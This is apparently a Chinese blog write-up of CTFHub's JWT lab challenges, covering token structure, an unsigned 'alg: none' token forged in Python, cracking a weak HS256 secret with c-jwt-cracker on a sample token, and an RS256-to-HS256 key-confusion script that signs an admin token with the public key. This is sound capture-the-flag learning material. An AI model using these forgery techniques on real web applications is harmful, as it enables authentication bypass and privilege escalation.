ctfhub-jwt
基础知识
题目附件:jwt 基础知识
flag 在下面
需要了解一下 jwt 组成部分
敏感信息泄露
随便输个
进去查消息头
然后在
decode 一共两部分 ag 是另一半
无签名
1
2
3
4
5
6
7
8
9
10
import jwt
algorithm="none"
payload = {
"username": "admin",
"password": "admin",
"role":"admin"
}
key = ""
encoded = jwt.encode(payload,key,algorithm)
print(encoded)
jwt 的签名可以为无
今天写这个脚本的时候命名为 jwt.py
结果报错 但是系统环境运行正常
才知道是文件名的事
import jwt 他先自己引用自己了
抓包
把 cookie 里的 token 改为这脚本的运行结果
弱密钥
需要用到jwt-cracker
依次执行即可
1
2
3
4
git clone https://github.com/brendan-rius/c-jwt-cracker
./c-jwt-cracker
make
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6IjEiLCJyb2xlIjoiZ3Vlc3QifQ.w4i8KWRWmY_xTYtRnFZnp5vLIxPG2abCly6lW6QxTKs
然后得出该 jwt 密钥
然后放之前那个网站
改 role 为 admin
返回提交 token
修改签名算法
把 cookie 清空后提交用户名密码
得到一串 jwt
丢进
发现是 RS256 编码(不对称式编码)
需要改为对称式编码
如 HS256
题目中给了 public key
用 PUBLIC_KEY 采用 HS256 进行加密 payload 构造 token
借用大神 h0ld1rs的脚本
无签名那段脚本
是勉勉强强写出来的
这题就先用大神的脚本吧
我太菜了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
## coding=GBK
import hmac
import hashlib
import base64
file = open('publickey.pem')#需要将文中的publickey下载 与脚本同目录
key = file.read()
## Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'
## Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
## Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
## Concatenating header and payload
token = (encodeHeader + "." + encodePayload)
## Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
print(token + "." + sig)
运行后把 token 返回去验证
成功
评论